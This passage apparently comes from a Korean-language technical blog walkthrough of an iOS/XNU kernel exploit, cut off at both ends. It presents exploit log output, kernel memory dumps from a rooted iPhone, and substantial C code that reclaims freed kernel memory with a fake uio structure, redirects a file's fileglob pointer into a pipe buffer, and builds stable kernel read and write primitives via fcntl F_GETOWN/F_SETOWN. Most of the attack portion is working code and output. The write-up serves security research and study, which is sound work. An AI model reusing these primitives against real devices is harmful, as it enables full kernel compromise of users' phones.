55 55  |  DDDDDDDDUUUUUUUU\n[0xffffffe4cdf525e0+0x020] 66 66 66 66 66 66 66 66  77 77 77 77 77 77 77 77  |  ffffffffwwwwwwww\n[0xffffffe4cdf525e0+0x030] C0 E4 F7 CD E4 FF FF FF  00 00 00 00 00 00 00 00  |  ................\n[0xffffffe4cdf525e0+0x040] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................\n[0xffffffe4cdf525e0+0x050] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................\n[prepare_socket_lockf_pair:535] allocated\/wrote arbitrary data to B again, dangling C again ...\n[i] socket1 DOMAIN kernel address = 0xFFFFFFE4CDF31680\n[main:1560]\n[i] read32(0xFFFFFFE19D066B10) = 0xA03C9380\n[i] reconstructed readpipe fileglob kptr = 0xFFFFFFE1A03C9380\n[main:1582]\n[main:1583] first called kernel_read32_via_proc_pid ...\n[i] secondary pipe object = 0xFFFFFFE19BFCBDF0\n[i] secondary pipe backing = 0xFFFFFFE4CE280A00 &lt;- !REMIND THIS VALUE!\n[main:1637] install_socket0_pipe_link called ...\n[find_current_proc_and_control_fileproc:796] pipe write occurred\n[find_current_proc_and_control_fileproc:803] set_posix_lock occurred\n[find_current_proc_and_control_fileproc:810] pipe read occurred\n[kernel_read32_via_pipe_backing:724] called ...\n[kernel_read32_via_pipe_backing:724] called ...\n[find_current_proc_and_control_fileproc:831] pipe write occurred\n[find_current_proc_and_control_fileproc:838] set_posix_lock occurred\n[find_current_proc_and_control_fileproc:845] pipe read occurred\n[kernel_read32_via_pipe_backing:724] called ...\n[kernel_read32_via_pipe_backing:724] called ...\n[kernel_read32_via_pipe_backing:724] called ...\n[kernel_read32_via_pipe_backing:724] called ...\n[kernel_read32_via_pipe_backing:724] called ...\n[kernel_read32_via_pipe_backing:724] called ...\n[i] current proc = 0xFFFFFFE19FB529E0\n[i] control fd=5 fileproc = 0xFFFFFFE1A00A63E0\nstage9 done\n[write64_with_fake_uio:1052] Existing dangling lock C becomes [30,34] with the correct OFD id ...\n\n[write64_with_fake_uio:1065] write_exact_fd called ...\n[write64_with_fake_uio:1067] primary_pipe_pbuffer_kaddr = 0xFFFFFFE800728000\n...\n\n[KERNEL DUMP RESULT]\niPhone-8--1442:~ root# khexdump 0xFFFFFFE800728000\ntfp0: 0x903\nget_kbase ret: 0, kbase: 0xfffffff01d5b4000\n0xffffffe800728000: 0xffffffe4ce280a00 &lt;- !SECONDARY PIPE's pipe_buffer.buffer kaddr WRITTEN! 0x0000000000000000\n0xffffffe800728010: 0x0000000000000000 0x0000000000000000\n0xffffffe800728020: 0x0000000000000000 0x0000000000000000\n0xffffffe800728030: 0x0000000000000000 0x0000000000000000\n0xffffffe800728040: 0x0000000000000000 0x0000000000000000\n0xffffffe800728050: 0x0000000000000000 0x0000000000000000\n0xffffffe800728060: 0x0000000000000000 0x0000000000000000\n0xffffffe800728070: 0x0000000000000000 0x0000000000000000\n0xffffffe800728080: 0x0000000000000000 0x0000000000000000\n0xffffffe800728090: 0x0000000000000000 0x0000000000000000\n0xffffffe8007280a0: 0x0000000000000000 0x0000000000000000\n0xffffffe8007280b0: 0x0000000000000000 0x0000000000000000\n0xffffffe8007280c0: 0x0000000000000000 0x0000000000000000\n0xffffffe8007280d0: 0x0000000000000000 0x0000000000000000\n0xffffffe8007280e0: 0x0000000000000000 0x0000000000000000\n0xffffffe8007280f0: 0x0000000000000000 0x0000000000000000\niPhone-8--1442:~ root# khexdump 0xffffffe4ce280a00\ntfp0: 0x1303\nget_kbase ret: 0, kbase: 0xfffffff01d5b4000\n0xffffffe4ce280a00: 0xffffffe1a00a63f0 0x0000000000000008\n0xffffffe4ce280a10: 0x4444444444444444 0x5555555555555555\n0xffffffe4ce280a20: 0x6666666666666666 0x7777777777777777\n0xffffffe4ce280a30: 0x0000000000000000 0x0000000000000000\n0xffffffe4ce280a40: 0x0000000000000000 0x0000000000000000\n0xffffffe4ce280a50: 0x0000000000000000 0xffffffe4cce572c4\n<\/code><\/pre>\n<p><code>pthread_create<\/code>\ub85c \ube44\ub3d9\uae30\ub85c <code>fake_uio_writer_thread<\/code> \ub97c \ud638\ucd9c\ud55c\ub2e4.<\/p>\n<p><code>ofd_set_lock(context-&gt;lock_fd, F_RDLCK, 29, 7)<\/code> \ucf54\ub4dc\uac00 \uc2e4\ud589\ub418\uba74\uc11c \u201cfake lockf C\u201d\ub294 \ud560\ub2f9\ud574\uc81c\ub41c\ub2e4. \uc774\uc720\ub294 \uc0c8\ub85c \uc9c0\uc815\ub420 lockf\uc758 \ubc94\uc704\uac00 lf_start=29, lf_end=35\uac00 \ub418\uace0, \u201cfake lockf C\u201d\uc758 lf_start=30, lf_end=34\uc778\ub370, \uc774\ub97c \ube44\uad50\ud574\ubd24\uc744\ub54c \uc0c8\ub85c \uc9c0\uc815\ub420 lockf\uc758 \ubc94\uc704\uac00 \u201cfake lockf C\u201d \ubc94\uc704\ub97c \ud3ec\ud568\ud558\uace0 \uc788\uae30 \ub54c\ubb38\uc774\ub2e4.<\/p>\n<p>\ud560\ub2f9\ud574\uc81c\ub41c \uc774\ud6c4\uc5d0\ub294 (primary pipe_write_fd\uac00 \uc778\uc790\uc5d0 \ub4e4\uc5b4\uac04) <code>writev(context-&gt;pipe_write_fd, iovecs, 2)<\/code> \ucf54\ub4dc\uac00 \uc2e4\ud589\ub418\uba74\uc11c \ubc29\uae08 \ud560\ub2f9\ud574\uc81c\ub418\uc5c8\ub358 \uacf3\uc744 \ub2e4\uc2dc \ucc28\uc9c0\ud558\uac8c \ub420 \uac83\uc774\ub2e4. uio \uad6c\uc870\uccb4 \ud06c\uae30\ub294 0x38, kern_iovec \uad6c\uc870\uccb4 \ud06c\uae30\ub294 0x10\u2026. \uacb0\uacfc\uc801\uc73c\ub85c 0x38+0x10*2=0x58\uc774\ub77c\ub294 \uc804\uccb4 \ucee4\ub110 \ud560\ub2f9 \ud06c\uae30\ub97c default.kalloc.96 \uc874\uc73c\ub85c\ubd80\ud130 \ud560\ub2f9\ubc1b\uc744 \uac83\uc774\uae30 \ub54c\ubb38\uc774\uba70, \ubc29\uae08 \ud574\uc81c\ub41c socket0 DOMAIN \uc2ac\ub86f\uc744 <code>struct uio + iovec * 2<\/code>\uac00 \uc7ac\uc810\uc720\ub41c\ub2e4.<\/p>\n<pre><code class=\"language-c\"> struct fake_uio_writer_context {\n    int lock_fd;\n    int pipe_write_fd;\n    _Atomic int entering_writev;\n    int result_errno;\n};\n\nvoid *fake_uio_writer_thread(void *opaque)\n{\n    struct fake_uio_writer_context *context = opaque;\n    uint64_t valid_source[2] = {0};\n    struct iovec iovecs[2] = {\n        { .iov_base = valid_source, .iov_len = sizeof(valid_source) },\n        { .iov_base = NULL, .iov_len = 0 },\n    };\n\n    if (ofd_set_lock(context-&gt;lock_fd, F_RDLCK, 29, 7) != 0) {\n        context-&gt;result_errno = errno != 0 ? errno : EIO;\n        atomic_store_explicit(\n            &amp;context-&gt;entering_writev, -1, memory_order_release);\n        return NULL;\n    }\n\n    \/* Two iovecs make UIO_SIZEOF(2) == 0x58, allocated from the 0x60 slot. *\/\n    atomic_store_explicit(\n        &amp;context-&gt;entering_writev, 1, memory_order_release);\n    if (writev(context-&gt;pipe_write_fd, iovecs, 2) &lt; 0) {\n        context-&gt;result_errno = errno != 0 ? errno : EIO;\n    }\n    return NULL;\n}\n\n...\n    struct fake_uio_writer_context context = {\n        .lock_fd = lock_fd,\n        .pipe_write_fd = primary_pipe_fds[1],\n        .result_errno = 0,\n    };\n...\n \n    atomic_init(&amp;context.entering_writev, 0);\n    pthread_status = pthread_create(&amp;writer, NULL, fake_uio_writer_thread, &amp;context);\n    if (pthread_status != 0) {\n        errno = pthread_status;\n        return -1;\n    }\n<\/code><\/pre>\n<p><code>writev<\/code> \ub294 \ub0b4\ubd80\uc801\uc73c\ub85c \ub2e4\uc74c\uacfc \uac19\uc774 \ucee4\ub110 \ud568\uc218\ub97c \uac70\uce58\uac8c \ub418\uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">writev()\n \u2192 writev_prwritev_uio()\n \u2192 uio_create(2)\n \u2192 kalloc(UIO_SIZEOF(2))\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-08-12_08.44.58.excalidraw-fs8.png\" alt=\"Drawing 2026-08-12 08.44.58.excalidraw-fs8.png\"><\/p>\n<p>\ucee4\ub110 \ub364\ud504 \uacb0\uacfc\ub294 \uc544\ub798\uc640 \uac19\ub2e4.<\/p>\n<p>\uc5ec\uae30\uc11c \uc0c8\ub85c \uc0dd\uc131\ub418\ub294 lockf \uac1d\uccb4\ub294 \u201clockf G\u201d\ub77c\uace0 \uba85\uba85\ud558\uaca0\ub2e4.<\/p>\n<p>\ubcf4\ub2e4\uc2dc\ud53c \ud560\ub2f9\ud574\uc81c\ub41c \u201cfake lockf C\u201d \uc8fc\uc18c\ub97c \uc0b4\ud3b4\ubcf4\uba74 \uc774\uc81c uio + kern_iovec*2\ub85c \uad6c\uc131\ub418\uc788\ub2e4. \uc544\uc9c1 \uc81c\uc5b4\ub418\uc5c8\ub2e4\uace0\ub294 \ubcfc \uc218 \uc5c6\uc73c\uba70, fake\uac00 \uc544\ub2cc real uio\ub370\uc774\ud130\ub85c \ubcf4\uba74 \ub420 \ub4ef \uc2f6\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-07-30_12.55.05.excalidraw_1_1_1_1_1_1_1_2_1_1_1-fs8.png\" alt=\"Drawing 2026-07-30 12.55.05.excalidraw 1 1 1 1 1 1 1 2 1 1 1-fs8.png\"><\/p>\n<p><code>wait_for_fake_uio_writer<\/code> \ud568\uc218\ub294 writer\uac00 \uc815\uc0c1\uc801\uc778 uio\ub97c \ucee4\ub110\uc5d0 \ud560\ub2f9\ud55c \ub4a4, \uaf49 \ucc2c \ud30c\uc774\ud504 \ub54c\ubb38\uc5d0 \uadf8 uio\ub97c \uacc4\uc18d \ub4e4\uace0 \uc7a0\ub4e0 \uc21c\uac04\uc744 \uae30\ub2e4\ub9ac\ub294 \ub3d9\uae30\ud654 \ud568\uc218\uc778 \uac83\uc73c\ub85c \ubcf4\uc778\ub2e4. <code>pthread_mach_thread_np(thread)<\/code>\ub85c pthread\uc758 Mach thread port\ub97c \uc5bb\uc73c\uba70, <code>entering_writev<\/code> \uc0c1\ud0dc\ub97c \ubc18\ubcf5 \ud655\uc778\ud55c\ub2e4.<\/p>\n<p>\ub9cc\uc57d \uc0c1\ud0dc\uac00 <code>1<\/code>\uc774\uba74 <code>thread_info(..., THREAD_BASIC_INFO, ...)<\/code>\ub85c writer\uc758 \uc2e4\ud589 \uc0c1\ud0dc\ub97c \ud655\uc778\ud569\ud558\uba70, <code>run_state == TH_STATE_WAITING<\/code>\uc774\uba74 \uc131\uacf5\uc774\ub2e4.<\/p>\n<p>\uae30\ub2e4\ub9ac\ub294 \ub3d9\uc548 <code>thread_switch(..., SWITCH_OPTION_DEPRESS, ...)<\/code>\ub85c CPU\ub97c \uc591\ubcf4\ud558\uc5ec writer\uac00 \uba3c\uc800 \uc9c4\ud589\ud558\ub3c4\ub85d \ud55c\ub2e4.<\/p>\n<p>\ub108\ubb34 \uc624\ub798 \uae30\ub2e4\ub9ac\uba74 <code>ETIMEDOUT<\/code>\uc744 \ubc18\ud658\ud558\ub3c4\ub85d \ub9cc\ub4e0\ub2e4.<\/p>\n<pre><code class=\"language-c\">int wait_for_fake_uio_writer(\n    pthread_t thread,\n    const struct fake_uio_writer_context *context)\n{\n    thread_t mach_thread = pthread_mach_thread_np(thread);\n\n    for (unsigned int attempt = 0; attempt &lt; 1000000; attempt++) {\n        int phase = atomic_load_explicit(\n            &amp;context-&gt;entering_writev, memory_order_acquire);\n\n        if (phase &lt; 0) {\n            errno = context-&gt;result_errno;\n            return -1;\n        }\n        if (phase &gt; 0) {\n            thread_basic_info_data_t info = {0};\n            mach_msg_type_number_t count = THREAD_BASIC_INFO_COUNT;\n\n            if (thread_info(\n                    mach_thread,\n                    THREAD_BASIC_INFO,\n                    (thread_info_t)&amp;info,\n                    &amp;count) != KERN_SUCCESS) {\n                errno = EIO;\n                return -1;\n            }\n            if (info.run_state == TH_STATE_WAITING) {\n                return 0;\n            }\n        }\n        (void)thread_switch(MACH_PORT_NULL, SWITCH_OPTION_DEPRESS, 0);\n    }\n\n    errno = ETIMEDOUT;\n    return -1;\n}\n\n...\n    if (wait_for_fake_uio_writer(writer, &amp;context) != 0) {\n        int saved_errno = errno;\n        uint8_t ordinary_drain[16];\n\n        \/* No uio was freed yet; wake an ordinary blocked writer and join it. *\/\n        (void)read_exact_fd(\n            primary_pipe_fds[0], ordinary_drain, sizeof(ordinary_drain));\n        (void)pthread_join(writer, NULL);\n        errno = saved_errno;\n        return -1;\n    }\n<\/code><\/pre>\n<p><code>clear_necp_domain(socket0)<\/code> \ucf54\ub4dc\ub294 socket0\uc73c\ub85c \uc81c\uc5b4\ud588\ub358 fake lockf C\ub97c \ud560\ub2f9\ud574\uc81c\ud558\ub294\ub370,<\/p>\n<p>\uc2e4\uc81c\ub85c\ub294, \ubc29\uae08 \ud574\uc81c\ub41c socket0 DOMAIN \uc2ac\ub86f\uc744 <code>struct uio + iovec * 2<\/code>\uac00 \uc7ac\uc810\uc720\ud55c \uacf3\uc744 \ub2e4\uc2dc \ud560\ub2f9\ud574\uc81c\ud558\ub294 \uac83\uc73c\ub85c \ubcf4\uba74 \ub41c\ub2e4.<\/p>\n<p>\ud560\ub2f9\ud574\uc81c\ud55c \uacf3\uc744 necp domain\uc73c\ub85c \uc7ac\ud560\ub2f9\ud558\uc5ec fake_uio \ub370\uc774\ud130\ub85c \ub36e\uc5b4\uc50c\uc6b4\ub2e4.<\/p>\n<pre><code class=\"language-c\">    uint64_t fake_uio[NECP_DOMAIN_PAYLOAD_SIZE \/ sizeof(uint64_t)] = {\n        secondary_pipe_backing,       \/* uio_iovs.kiovp *\/\n        1,                            \/* uio_iovcnt *\/\n        0,                            \/* uio_offset *\/\n        2,                            \/* UIO_SYSSPACE | UIO_READ&lt;&lt;32 *\/\n        XNU7195_POINTER_SIZE,         \/* uio_resid_64 *\/\n        0x0000000100000058ULL,        \/* size=0x58, max_iovs=1 *\/\n        1,                            \/* INITED; deliberately not WE_ALLOCED *\/\n    };\n    \n...\n\n#if ENABLE_HELPER\n    printf(&quot;[%s:%d] wait_for_fake_uio_writer passed ... \\n&quot;, __FUNCTION__, __LINE__);\n    getchar();\n#endif\n\n    \/* socket0 still owns the now-live uio allocation: free and reclaim it. *\/\n    if (clear_necp_domain(socket0) != 0)\n        return -1;\n    \n    if (allocate_necp_domain(socket0, (const uint8_t *)fake_uio) != 0)\n        return -1;\n\n#if ENABLE_HELPER\n    printf(&quot;[%s:%d] clear_necp_domain \/ allocate_necp_domain called ... \\n&quot;, __FUNCTION__, __LINE__);\n    getchar();\n#endif\n<\/code><\/pre>\n<p>\ucee4\ub110 \ub364\ud504 \uc0ac\uc9c4\uc744 \uc0b4\ud3b4\ubcf4\uba74,<\/p>\n<p>\ucc98\uc74c\uc5d0 \u201cfake lockf C\u201d\uc600\ub358 \uc8fc\uc18c \uacf5\uac04\uc774\uc5c8\ub2e4\uac00 \ud560\ub2f9\ud574\uc81c\ub418\uace0,<\/p>\n<p>\uc7ac\ud560\ub2f9\ubc1b\uc544 real uio\uc600\ub358 \uacf5\uac04\uc774 \ub418\uc5c8\uc73c\ub098, \ub2e4\uc2dc \ud560\ub2f9\ud574\uc81c\ub41c\ub2e4.<\/p>\n<p>\uacb0\uacfc\uc801\uc73c\ub85c, necp domain\uc73c\ub85c \uc7ac\ud560\ub2f9\ubc1b\uc544 \uc81c\uc5b4\ub41c fake uio\ub85c \uc774\ub8e8\uc5b4\uc838\uc788\ub2e4. secondary pipe\uc758 pipebuffer.buffer \uc8fc\uc18c\uc640 \ud568\uaed8 \uc5ec\ub7ec uio \uad6c\uc870\ud398 \ud544\ub4dc\ub97c \uc81c\uc5b4\ud55c \uac83\uc744 \ubcfc \uc218 \uc788\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-07-30_12.55.05.excalidraw_1_1_1_1_1_1_1_2_1_1_1_1-fs8.png\" alt=\"Drawing 2026-07-30 12.55.05.excalidraw 1 1 1 1 1 1 1 2 1 1 1 1-fs8.png\"><\/p>\n<p>\ub9c8\uc9c0\ub9c9\uc73c\ub85c, primary_pipe_fds \uc77d\uae30\uc6a9 \ud30c\uc77c \ub514\uc2a4\ud06c\ub9bd\ud130\ub85c\ubd80\ud130 8\ubc14\uc774\ud2b8 \uc77d\uc740 \ub2e4\uc74c, <code>pthread_join<\/code>\uc73c\ub85c \ube44\ub3d9\uae30\ub85c \uc2e4\ud589 \uc911\uc778 \ud568\uc218\uac00 \ub9c8\uce60\ub54c\uae4c\uc9c0 \uae30\ub2e4\ub9b0\ub2e4.<\/p>\n<p><code>read_exact_fd(..., 8)<\/code> \ucf54\ub4dc\uc640 \uac19\uc774 \ud30c\uc774\ud504\uc5d0\uc11c 8\ubc14\uc774\ud2b8 \uc77d\uc744 \ud544\uc694\ud55c \uc774\uc720\ub294 \uaf49 \ucc2c \ud30c\uc774\ud504\uc5d0 8\ubc14\uc774\ud2b8 \uacf5\uac04\uc744 \ub9cc\ub4e4\uace0, \uc7a0\ub4e0 writer\ub97c \uae68\uc6cc fake UIO\ub97c \uc2e4\uc81c\ub85c \uc2e4\ud589\uc2dc\ud0a4\ub294 \ud2b8\ub9ac\uac70\ub97c \uc704\ud574 \ud544\uc694\ud558\ub2e4.<\/p>\n<p>\ud574\ub2f9 \ucf54\ub4dc\uac00 \uc5c6\uc73c\uba74, <code>pthread_join(writer, NULL)<\/code>\uc5d0\uc11c \ubb34\ud55c\ud788 \ub300\uae30\ud574\ubc84\ub9ac\ub294 \uc0c1\ud669\uc774 \ubc1c\uc0dd\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">    \/* Open exactly eight bytes of space and wake pipe_write()\/uiomove(). *\/\n    if (read_exact_fd(\n            primary_pipe_fds[0], &amp;drained, sizeof(drained)) != 0) {\n        return -1;\n    }\n#if ENABLE_HELPER\n    printf(&quot;[%s:%d] read_exact_fd called ... \\n&quot;, __FUNCTION__, __LINE__);\n    \/\/ getchar();\n#endif\n    pthread_status = pthread_join(writer, NULL);\n    if (pthread_status != 0) {\n        errno = pthread_status;\n        return -1;\n    }\n    if (context.result_errno != 0) {\n        errno = context.result_errno;\n        return -1;\n    }\n\n    return 0;\n}\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-08-12_08.44.58.excalidraw_1-fs8.png\" alt=\"Drawing 2026-08-12 08.44.58.excalidraw 1-fs8.png\"><\/p>\n<p>\uadf8\ub7fc fake uio \uc0dd\uc131\uc774 \ud544\uc694\ud588\ub358 \uc774\uc720\ub294 \ubb34\uc5c7\uc774\uc5c8\uc744\uae4c?<\/p>\n<p>\uc6d0\ub798\ub77c\uba74 \ub2e4\uc74c\uacfc \uac19\uc740 \uad6c\uc870\uc600\uc744 \uac83\uc774\ub2e4.<\/p>\n<pre><code class=\"language-c\">fd table\n  \u2514\u2500 control_fd\n       \u2514\u2500 real fileproc\n            \u2514\u2500 fp_glob\n                 \u2514\u2500 real socket fileglob\n                      \u251c\u2500 fg_ops  \u2192 real socketops\n                      \u2514\u2500 fg_data \u2192 real socket\n<\/code><\/pre>\n<p>\uadf8\ub7ec\ub098, <code>write64_with_fake_uio<\/code> \ud568\uc218\uac00 \ub9c8\uce58\uace0 \ub098\uba74, \ub2e4\uc74c\uacfc \uac19\ub2e4:<\/p>\n<p>\uc2e0\uae30\ud558\uac8c\ub3c4, fp_glob\uc740 \uc774\uc81c \ud30c\uc774\ud504 \ubc84\ud37c\ub97c \uac00\ub9ac\ud0a8\ub2e4.<\/p>\n<pre><code class=\"language-c\">fd table\n  \u2514\u2500 control_fd\n       \u2514\u2500 real fileproc\n            \u2514\u2500 fp_glob \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25ba PB (secondary pipe_buffer.buffer)\n                                    \u2514\u2500 fake fileglob\n<\/code><\/pre>\n<p>\uc0ac\uc2e4, <code>read_exact_fd(..., 8)<\/code> \ucf54\ub4dc\uc640 \uac19\uc774 \ud30c\uc774\ud504\uc5d0\uc11c 8\ubc14\uc774\ud2b8 \uc77d\uc5b4\uc57c\ud588\ub358 \ub610\ub2e4\ub978 \uc774\uc720 \uc911 \ud558\ub098\uc778\ub370, \ubc14\ub85c <code>uiomove<\/code>  \ud638\ucd9c\uc774\ub2e4.<\/p>\n<p><code>prime_pipe_backing_kern_iovec<\/code> \ud568\uc218\ub97c \uc0b4\ud3b4\ubd24\uc744\ub54c, secondary pipe \ubc84\ud37c\uc5d0 fake kern_iovec \ubbf8\ub9ac \uc2ec\uc5b4\ub450\uc5c8\ub358 \uacfc\uc815\uc744 \uae30\uc5b5\ud558\ub294\uac00?<\/p>\n<pre><code class=\"language-c\">\/* Leave one kernel-space iovec in the empty secondary pipe backing. *\/\nint prime_pipe_backing_kern_iovec(\n    const int pipe_fds[2],\n    uint64_t target)\n{\n    uint64_t kern_iovec[2] = {\n        target,\n        XNU7195_POINTER_SIZE,\n    };\n\n    return write_exact_fd(pipe_fds[1], kern_iovec, sizeof(kern_iovec)) != 0 ||\n        read_exact_fd(pipe_fds[0], kern_iovec, sizeof(kern_iovec)) != 0\n        ? -1 : 0;\n}\n\n...\n\n    \/\/ 9. PB\uc5d0 fake kern_iovec \ubbf8\ub9ac \uc2ec\uae30\n    if (prime_pipe_backing_kern_iovec(\n            pipe_fd_2,\n            control_fileproc_kptr + XNU7195_FILEPROC_GLOB_OFFSET) != 0) {\n        printf(&quot;[-] failed to prime PB kern_iovec: %s(%d)\\n&quot;,\n            strerror(errno), errno);\n        return -1;\n    }\n...\n<\/code><\/pre>\n<p>\ud574\ub2f9 fake kern_iovec\uc740 fp_glob\uc774 \ud30c\uc774\ud504 \ubc84\ud37c\ub97c \uac00\ub9ac\ud0a4\ub294\ub370 \uaf2d \ud544\uc694\ud55c \uacfc\uc815\uc774\uc5c8\ub2e4.<\/p>\n<p>\ub2e4\uc74c\uc740 <code>uiomove64<\/code> \uc5d0\uc11c <code>copywithin<\/code> \uc5d0 \uc758\ud574 fp_glob\uc774 secondary pipe\u2019s pipe_buffer.buffer\ub85c \ub36e\uc5b4\uc368\uc9c0\ub294 \uc124\uba85 \ubc0f \uacbd\ub85c \uadf8\ub9bc\uc774\ub2e4. fake uio\uac00 \ud544\uc694\ud588\ub358 \uc774\uc720\ub294 <strong>\uadf8\ub9bc\uc0c1 5\ubc88 \ucf00\uc774\uc2a4\uc5d0<\/strong> \uc9c4\uc785\ud558\uae30 \uc704\ud55c \uac83\uc774\uae30 \ub54c\ubb38\uc5d0, \ub355\ubd84\uc5d0 \uc124\uba85\uc774 \ub41c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-08-12_10.39.14.excalidraw-fs8.png\" alt=\"Drawing 2026-08-12 10.39.14.excalidraw-fs8.png\"><\/p>\n<h3>13. fcntl(\u2026, F_GETOWN), fcntl(\u2026, F_SETOWN)\uc73c\ub85c stable kernel r\/w \ud14c\uc2a4\ud2b8<\/h3>\n<p>\ucf54\ub4dc\ub97c \ud558\ub098\uc529 \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n<p>secondary pipe\uc758 pipe_buffer.buffer \ucee4\ub110 \uc8fc\uc18c + 0x200\uc73c\ub85c\ubd80\ud130 \uac12\uc774 \uc77d\ud788\ub294\uc9c0 \ud14c\uc2a4\ud2b8\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">int stage_pipe_backing_fileglob(\n    const int pipe_fds[2],\n    uint64_t pipe_backing,\n    uint64_t target,\n    bool active_socket)\n{\n    uint64_t payload[PB_FAKE_FILEGLOB_SIZE \/ sizeof(uint64_t)] = {0};\n    uint8_t observed[PB_FAKE_FILEGLOB_SIZE];\n\n    if (active_socket &amp;&amp; target &lt; XNU7195_SOCKET_PGID_OFFSET) {\n        errno = EINVAL;\n        return -1;\n    }\n\n    payload[2] = 0x0000006300000003ULL; \/* fg_flag=3, fg_count=0x63 *\/\n    payload[5] = pipe_backing + 0x60;   \/* fileglob::fg_ops *\/\n    payload[7] = active_socket ? target - XNU7195_SOCKET_PGID_OFFSET : 0;\n    ((uint8_t *)payload)[0x53] = 0x22; \/* lck_mtx type *\/\n    payload[12] = active_socket ? 2 : 3; \/* DTYPE_SOCKET or parking type *\/\n\n    if (write_exact_fd(pipe_fds[1], payload, sizeof(payload)) != 0 ||\n        read_exact_fd(pipe_fds[0], observed, sizeof(observed)) != 0) {\n        return -1;\n    }\n    if (memcmp(payload, observed, sizeof(payload)) != 0) {\n        errno = EIO;\n        return -1;\n    }\n    return 0;\n}\n\nint kernel_read32_via_fgetown(\n    const int pipe_fds[2],\n    uint64_t pipe_backing,\n    int control_fd,\n    uint64_t target,\n    uint32_t *value_out)\n{\n    int value;\n    int operation_errno;\n    bool operation_failed;\n\n    if (value_out == NULL ||\n        stage_pipe_backing_fileglob(\n            pipe_fds, pipe_backing, target, true) != 0) {\n        return -1;\n    }\n#if ENABLE_HELPER\n    printf(&quot;[%s:%d] stage_pipe_backing_fileglob 1\/2 called \\n&quot;, __FUNCTION__, __LINE__);\n    getchar();\n#endif \n\n    errno = 0;\n    value = fcntl(control_fd, F_GETOWN);\n    operation_errno = errno;\n    operation_failed = value == -1 &amp;&amp; operation_errno != 0;\n\n    if (stage_pipe_backing_fileglob(\n            pipe_fds, pipe_backing, 0, false) != 0) {\n        return -1;\n    }\n#if ENABLE_HELPER\n    printf(&quot;[%s:%d] stage_pipe_backing_fileglob 2\/2 called \\n&quot;, __FUNCTION__, __LINE__);\n    getchar();\n#endif \n\n    if (operation_failed) {\n        errno = operation_errno;\n        return -1;\n    }\n\n    *value_out = (uint32_t)value;\n    return 0;\n}\n\n...\n    uint64_t test_address = secondary_pipe_backing_kptr + 0x200;\n    uint32_t original = 0;\n    uint32_t marker = 0;\n    uint32_t observed = 0;\n    int verify_error = 0;\n\n    if (kernel_read32_via_fgetown(\n            pipe_fd_2, secondary_pipe_backing_kptr, socket_fd[2],\n            test_address, &amp;original) != 0) {\n        printf(&quot;[-] kread32 failed: %s(%d)\\n&quot;, strerror(errno), errno);\n        return -1;\n    }\n<\/code><\/pre>\n<p>fake fileglob\uc740 secondary pipe \ubc84\ud37c\ub97c \ud1b5\ud574 \uc790\uc720\ub86d\uac8c \uc81c\uc5b4\ud560 \uc218 \uc788\uae30 \ub54c\ubb38\uc5d0,<\/p>\n<p>fg_data\uc778 +0x38 \uc624\ud504\uc14b\ub9cc \uc801\uc808\ud788 \uc798 \ucee8\ud2b8\ub864\ud55c\ub2e4\uba74(socket-&gt;so_pgid \uc624\ud504\uc14b\uc740 0x60\uc73c\ub85c, \ud574\ub2f9 \uac12\uc744 \ube84 \ud544\uc694\uac00 \uc788\uc74c), \uc77d\ud78c \ucee4\ub110 \uc8fc\uc18c\ub97c \uc9c0\uc815\ud560 \uc218 \uc788\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-08-12_09.36.22.excalidraw-fs8.png\" alt=\"Drawing 2026-08-12 09.36.22.excalidraw-fs8.png\"><\/p>\n<p>\ucee4\ub110 \uc4f0\uae30 \ud14c\uc2a4\ud2b8\ub294 \ub0b4\ubd80\uc801\uc73c\ub85c <code>fcntl(\u2026, F_SETOWN)<\/code>\uc73c\ub85c \uc218\ud589\ub41c\ub2e4.<\/p>\n<pre><code class=\"language-c\">int kernel_write32_via_fsetown(\n    const int pipe_fds[2],\n    uint64_t pipe_backing,\n    int control_fd,\n    uint64_t target,\n    uint32_t value)\n{\n    int operation_status;\n    int operation_errno;\n\n    if (stage_pipe_backing_fileglob(\n            pipe_fds, pipe_backing, target, true) != 0) {\n        return -1;\n    }\n\n    operation_status = fcntl(control_fd, F_SETOWN, (int)value);\n    operation_errno = errno;\n\n    if (stage_pipe_backing_fileglob(\n            pipe_fds, pipe_backing, 0, false) != 0) {\n        return -1;\n    }\n    if (operation_status != 0) {\n        errno = operation_errno;\n        return -1;\n    }\n\n    return 0;\n}\n\n...\n\n    marker = 0x13371337;\n    if (kernel_write32_via_fsetown(\n            pipe_fd_2, secondary_pipe_backing_kptr, socket_fd[2],\n            test_address, marker) != 0) {\n        printf(&quot;[-] kwrite32 failed: %s(%d)\\n&quot;, strerror(errno), errno);\n        return -1;\n    }\n    \n...\n<\/code><\/pre>\n<p>\ucee4\ub110 \uc77d\uae30\uc5d0\uc11c \ub0b4\ubd80\uc801\uc73c\ub85c \uc774\ub8e8\uc5b4\uc9c0\ub294 \ucee4\ub110 \ud638\ucd9c\uc774 \uac70\uc758 